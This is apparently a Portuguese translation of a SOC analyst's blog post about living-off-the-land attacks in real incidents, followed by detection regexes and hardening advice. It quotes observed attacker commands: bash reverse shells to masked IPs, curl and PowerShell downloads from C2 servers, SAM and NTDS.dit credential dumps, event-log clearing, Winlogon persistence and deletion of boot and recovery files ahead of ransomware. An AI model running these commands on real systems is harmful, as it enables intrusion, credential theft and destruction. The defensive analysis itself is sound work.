Olá, Habr! Meu nome é Maxim Kishmereshkin, sou analista sênior no centro de monitoramento e resposta da 'Infosistemy Jet'. Hoje, vamos abordar um tema bastante antigo, mas que ainda permanece popular – LOTL. Lembrem-se que LOTL (living on the land), ou como eu o chamo, 'viver à custa do que se encontra', é o uso de ferramentas já existentes no sistema da vítima durante um ataque. Compartilharemos como encontramos essa classe de ataques em casos reais, quais procedimentos e técnicas identificamos, e como eles podem ser detectados.
O uso de LOTL em ataques, em contraste com malware (seja ele genérico ou desenvolvido para uma tarefa específica), oferece aos atacantes uma série de vantagens inegáveis. Uma característica distintiva seria a ausência de indicadores de comprometimento ao detectar esse tipo de ataque. Essas ações ainda são difíceis de detectar por EDRs, antivírus, e muitas vezes essa atividade pode ser confundida com atividades administrativas legítimas.
Nos últimos dois anos, vimos vestígios do uso de LOTL em diferentes estágios de ataques em todas as nossas investigações. O conceito LOTL é popular, está se desenvolvendo em lolol.farm e já conta com cerca de 28 projetos individuais que são úteis tanto para atacantes na construção de seus ataques quanto para defensores na criação de regras de detecção. Projetos úteis para defensores incluem os principais projetos LOLBAS (utilitários legítimos do Windows e seus argumentos de execução com os quais ações maliciosas podem ser realizadas), GTFObins – um análogo para Linux, LOLtunnels, loldrivers.
Não fomos os únicos a notar que os atacantes usam LOLBAS em seus ataques. Por exemplo, as seguintes variantes de ataques com LOTL são publicamente conhecidas:
- APT31 se moveu horizontalmente através de WMI:
wmic process call create malware.exe/<command> - Goffee entregou e executou uma carga útil através de mshta:
powershell.exe /C mshta.exe https://<domain>.com/<name>.hta - BO Team fez dump da base ntds.dit usando ntdsutil:
ntdsutil "ac i ntds" ifm "create full nodefrag $appdata\AD" q q
Vamos ver, com exemplos de casos reais de nossas investigações, quais procedimentos LOLBAS e GTFOBins os atacantes utilizaram.
Como isso se parece em incidentes reais
Uma situação absolutamente típica hoje em nossas investigações:
Em sistemas Linux, foi detectado o download e execução de um script malicioso de um servidor C2 usando os utilitários de sistema padrão bash e curl:
bash -i >& /dev/tcp/xx.xx.xx.xx/8080 0>&1
bash -i >& /dev/tcp/xx.xx.xx.xx/53 0>&1
curl http://xx.xx.xx.xx/systemd -o /tmp/systemd
Em outro exemplo, já no Windows, os atacantes se estabeleceram através do processo reg.exe a cada inicialização do sistema, executando seu malware zip.bat, del.bat juntamente com a inicialização do explorer.exe:
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d explorer.exe,c:\tzxl2\zip.bat,c:\tzxl2\del.bat /f ()
Eles apagaram os rastros usando o utilitário wevtutil, limpando todos os eventos nos logs:
powershell -command wevtutil el | Foreach-Object {Write-Host Clearing $; wevtutil cl $} - powershell logoff
A reconhecimento em um sistema já comprometido foi realizado com meios padrão:
whoami
quser
ping
dir
ipconfig /all
netstat -ano
systeminfo
hostname
nltest /trusted_domains
net user xx /domain
Vale notar que, sem contexto adicional, não diferenciaríamos a fase de reconhecimento das ações legítimas dos administradores. Na maioria dos casos em ataques reais, não chegamos ao uso de LOLBAS imediatamente, mas sim quando já tínhamos identificado a conta de usuário / estação de trabalho comprometida e, através de artefatos, encontrávamos comandos de usuários comprometidos.
Os atacantes extraíam credenciais salvando ramos críticos do registro:
C:\Windows\system32\cmd.exe" /c reg save hklm\sam C:\TEMP\1C\sam > C:\Users\XXXX\AppData\Local\Temp\v8_C1DE_b8.txt"
Ou copiavam um pedaço do banco de dados que armazena contas, grupos e hashes de senhas da cópia sombra do banco de dados do Active Directory com o comando:
copy $ShadowCopyName\Windows\NTDS\NTDS.dit C:\
ntds.dit.save
Em mais de 70% dos casos, a principal ferramenta dos hackers era o Powershell. Com ele, além do reconhecimento e execução de utilitários de registro, eles também se comunicavam com o C2:
powershell.exe -nop -w hidden -e WwB... - [Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$hN=new-object net.webclient
Eles baixavam e executavam scripts de bypass de antivírus em tempo real.
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell IEX newwebclient downloadstring http://xxxxx.ru/E‼️ulVCVb/xxx.ps1
Foram observados comandos muito específicos. Através do robocopy, arquivos críticos de boot e recuperação do sistema operacional eram excluídos. Esta foi a fase de preparação antes do lançamento do ransomware na infraestrutura:
reagentc /disable; Remove-Item -Path "C:\Recovery","C:\Windows\System32\Recovery","C:\bootmgr","C:\EFI","C:\Boot" -Recurse -Force -ErrorAction SilentlyContinue; *;Restart-Computer -Force
Como podemos ver, o uso de LOLBAS é limitado apenas pela imaginação dos atacantes. Ele abrange uma vasta gama de cobertura da kill-chain na matriz MITRE, começando de Initial Access até Impact (mencionado em 11 das 14 táticas).
E se reconstruirmos um ataque usando apenas LOLBAS?
Vamos tentar.
Através de phishing, o atacante entrega um isca com um script malicioso, o executa via powershell e mshta. O script se estabelece na inicialização automática através do registro, o fraudador contorna o AppLocker usando regsvr32.exe e realiza reconhecimento com utilitários padrão como whoami, ipconfig.
Em seguida, ele obtém acesso às credenciais, primeiro fazendo dump do lsass através de rundll32 e comsvcs.dll, e depois, através do ntdsutil, obtém todo o ntds.dit. O fraudador se moverá horizontalmente através de WMI, com a ajuda do mesmo powershell ele coletará informações sensíveis, fará upload para seu servidor de controle através de certutil, e como resultado final de todo o ataque – criptografará toda a infraestrutura usando Bitlocker.
Demonstramos como os atacantes podem comprometer completamente a infraestrutura, deixando um mínimo de rastros no sistema. Vale notar que todo o ataque pode ser executado dentro de um único script powershell.
E como estão as coisas com a construção de ataques em sistemas operacionais nacionais? Neles, o atacante também pode comprometer toda a infraestrutura de forma bastante discreta e completa. Vamos reconstruir usando o projeto GTFObins:
Através de phishing, uma isca é entregue (por exemplo, um 'script de atualização'), o usuário o baixa e o executa. O script se estabelece através da inicialização automática (cron), então, explorando uma falha na configuração do sudo, o atacante eleva seus privilégios usando find, desativa o histórico de comandos bash_history, se move via ssh, coleta informações sensíveis usando tar e faz upload via nc. Em seguida, ele criptografa toda a infraestrutura usando openssl.
Cada comando individualmente é legítimo. Mas em conjunto, eles formam um ataque completo, do acesso inicial ao impacto.
Como detectar o 'mal legítimo' na infraestrutura
Vamos ver como podemos resistir a isso, detectar e quais medidas de proteção ajudarão.
Detectamos o uso de ferramentas LOLBAS através de expressões regulares na lógica de regras de correlação do SIEM. A detecção visa várias variações, desde o download de um arquivo malicioso até o dump de objetos críticos do sistema operacional.
Exemplo – há um fato de download e upload de arquivos de recursos remotos via ftp.
Para detectar isso, identificamos uma anomalia, a saber – download de um contorno externo pelo protocolo que, na atividade diária, se usado, é apenas dentro da empresa. Em seguida, através de expressões regulares, identificaremos o fato de acesso por máscara de endereço IP e o download de qualquer arquivo.
Exemplo:
ftp://12.45.134.111:1337/upload/m1.exe
Como detectar: nos argumentos da linha de comando de inicialização de processos por expressão regular
.*(ftp|http|https|smb|nfs|dict):\/\/((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)).*"
identificamos atividade anômala de upload por vários protocolos de recursos externos.
Outro caso – precisamos identificar o fato de salvar ramos críticos do registro, cujo dump permitiria ao atacante obter credenciais de usuários.
O próprio comando:
C:\Windows\system32\cmd.exe" /c reg save hklm\sam C:\TEMP\1C\sam > C:\Users\XXXX\AppData\Local\Temp\v8_C1DE_b8.txt"
Como detectar: ativar o log de auditoria estendido de execução de comandos Windows Event ID 4688, ou observar eventos Sysmon 1. Nesses eventos, observamos a inicialização do processo reg.exe, e nos argumentos da linha de comando procuramos o comando save e os caminhos para os ramos críticos security/system/sam.
Em geral, a lógica de detecção se resumirá a rastrear a inicialização de utilitários padrão do sistema operacional e os argumentos de inicialização de comandos, nos quais o contexto suspeito será identificado.
Como se defender?
Eu destacaria quatro áreas principais às quais vale a pena prestar atenção:
Auditoria de Execução de Comandos
- Configurar o log de linha de comando com argumentos do Event ID 4688, Sysmon Event 1, módulos, blocos de script do PowerShell 4104, 4103, 600.
- Configurar o log Auditd para sistemas Linux.
- No caso de haver um EDR na infraestrutura, coletar telemetria dele para análise posterior.
Detecção
- Utilizar ferramentas SIEM/EDR para escrever nossa própria lógica de correlação ou usar assinaturas 'out-of-the-box' que possam identificar anomalias automaticamente.
- Uso de UEBA. Criar um perfil de trabalho típico para cada usuário ajudará a identificar possíveis anomalias no uso de ferramentas legítimas. Na minha opinião, infelizmente, essa classe de soluções não é muito eficaz no momento devido a uma enorme porcentagem de falsos positivos na detecção de ataques LOTL.
Hardening da Infraestrutura
- Uso de SELinux, AppArmor.
- Application Control / Whitelisting – no artigo da Microsoft são apresentados exemplos de quais aplicativos podem ser excluídos.
- Para PowerShell – ativar o Constrained Language Mode e assinar scripts.
Medidas Básicas
- Mesmo que o atacante consiga executar algum comando, é necessário tentar minimizar as chances de obter uma conta privilegiada. Para isso, usamos o princípio de privilégios mínimos.
- Segmentar a rede para minimizar a possibilidade de movimentação horizontal pela infraestrutura.
- No caso de uma regra de detecção não funcionar por algum motivo (ofuscação, entrega em partes) – o uso de NTA ajudará a identificar tráfego suspeito / exfiltração.
Quero notar que as ferramentas legítimas em si não são perigosas, o perigoso é o contexto de sua execução. Essa classe de ataques continuará popular por muito tempo, os atacantes continuarão a tentar deixar o mínimo de rastros de sua presença, e os defensores tentarão identificar anomalias no trabalho com utilitários padrão do sistema operacional.
Autor: Maxim Kishmereshkin, analista sênior do centro de monitoramento e resposta, 'Infosistemy Jet'
Tags: cybersecurity, cyberattack, lotl, lolbas, soc, siem, ib, cibersegurança, ciberbez, detecção
